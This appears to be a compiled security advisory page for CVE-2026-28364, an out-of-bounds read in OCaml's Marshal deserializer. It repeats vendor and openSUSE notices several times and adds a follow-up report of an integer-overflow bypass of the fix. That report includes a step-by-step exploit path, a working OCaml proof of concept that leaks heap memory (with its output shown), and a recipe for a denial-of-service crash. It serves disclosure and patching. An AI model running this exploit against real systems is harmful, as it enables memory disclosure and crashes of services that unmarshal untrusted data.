CVE-2026-28364

OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.

Security Fix(es):

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)

OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.

Security Fix(es):

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)

OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.

Security Fix(es):

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)

OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.

Security Fix(es):

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)

OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.

Security Fix(es):

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)

Summary

A critical buffer over-read vulnerability in OCaml's Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from malicious Marshal data.

Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).

Affected functions: Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value, Pervasives.input_value when reading data from an untrusted source.

Vulnerability Attack Vector

Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. input_value should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.

Consequently, this excludes:

• well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave

• misuses of the OCaml runtime system by the program performing input_value, such as setting Debugger.function_placeholder to the wrong function.

The former issue may be addressed at some point by validating the unmarshaled OCaml value against the expected type, using the functions from module Obj and some kind of run-time type description.

The latter issue is a bug in the program that unmarshals the data.

Fix

OCaml runtime

The OCaml runtime has been hardened with additional bounds checks. An exception is raised on bad input.

Third party libraries

Third party libraries that want to harden their custom Marshal deserialization code can follow the example fix for bigarrays from the standard library. There are new macros in custom.h called Wsize_custom_data and Bsize_custom_data that return the size in words or bytes of the allocated custom destination block. The deserializer needs to ensure it only writes data within those bounds.

This only needs to be done if the library defines a custom type in a C binding, and struct custom_operations's deserialize field is not set to NULL or custom_deserialize_default, and struct custom_operations's fixed_length field is set to NULL or custom_fixed_length_default

Since Marshal.from* and input_value remain unsafe to use, the fix for the OCaml runtime is released, and we wouldn't attempt to coordinate updating all deserialization functions in the ecosystem.

Timeline

• Nov 4th 2025: Discovery Date: Discovered first in OxCaml
• Nov 5th 2025: First Disclosure Date (Jane Street Team): Emailed top maintainers, no response.
• Nov 9th 2025: Second Disclosure Date (OCaml Team): Submitted to OCaml/ocaml GitHub Repo as a Security Advisory.
• Nov 11th 2025: Emailed OCaml Security Mail List: Submitted to OCaml over email, responded asking for details.
• Nov 11th 2025: Third Disclosure (OCaml Security Response Team): Submitted to ocaml/security-advisories GitHub Repo as a Security Advisory.
• Dec 16th 2025: Initial patch is developed
• Dec 17th 2025: Fuzz testing found further issues
• Dec 24th 2025: Final patch for OCaml is developed
• Dec 25th 2025: Fuzz testing couldn't find any further issues
• Jan 2nd 2026: Patch got reviewed by OCaml maintainers
• Jan 4th 2026: Benchmarking of the patch with good results
• Jan 6th 2026: Reporter got contacted to confirm
• Jan 25th 2026: Further related issues discovered by fuzzing
• Feb 17th 2026: fixed OCaml releases are published, security advisory is published

An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).

Root cause

runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:

/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
  caml_failwith("input_val_from_string: bad length");

h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.

The CVE-2026-28364 fix introduced:

/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */

intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.

The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.

The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.

Exploit path

1. Craft 32-byte header: Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.
2. Append a valid object code byte stream (e.g., a "small string" code 0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).
3. Call Marshal.from_bytes buf 0 (or Marshal.from_string).
4. data_size_unsafe returns 0; OCaml-side check passes.
5. C-side check 0 + 32 + (2^64-16) = 16 > len passes (wrapped).
6. intern_src_end wraps to buf + 16; all intern_check_read pass.
7. intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).

Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.

1. Heap information disclosure (clean, no crash)

let () =
  let buf = Bytes.create 40 in
  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
  for i = 4 to 7 do Bytes.set buf i '\000' done;
  for i = 8 to 15 do Bytes.set buf i '\xff' done;
  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)
  for i = 16 to 31 do Bytes.set buf i '\000' done;  (* num_objects = whsize = 0 *)
  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)
  for i = 33 to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
  let s : string = Marshal.from_bytes buf 0 in
  Printf.printf "len=%d content=%S\n" (String.length s) s

Output (24 bytes past the 40-byte buffer leaked into the returned string):

len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"

2. Denial of service (crash)

Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:

$ ./crash; echo "exit=$?"…

Several issues have been discovered in the Marshal module:

ANT-2026-K7NTK0FT Stale obj_counter across unmarshal calls enables null/freed intern_obj_table indexing

ANT-2026-2NJYQWEX Custom block size wraparound in CODE_CUSTOM_LEN allocation

ANT-2026-PJC00M7X Unmarshaler accepts forged Closure_tag metadata without validation

This is a followup for OSEC-2026-01

Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. input_value should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.

Consequently, this excludes well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave.

Am I affected?

If you use one of the affected bindings Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value (or a wrapper in a library, such as Lwt_io.read_value).

Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).

It is recommended to use Marshal only for communication between trusted processes.

Timeline

• 2026-08-24: vulnerability was found
• 2026-08-27: forwarded report to [email protected]
• 2026-09-29: fix merged to trunk

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.

These are all security issues fixed in the ocaml-4.14.4-1.1 package on the GA media of openSUSE Tumbleweed.

This update for ocaml fixes the following issues:

• CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992)

This update for ocaml fixes the following issues:

• CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992).

This update for ocaml fixes the following issues:

• CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992).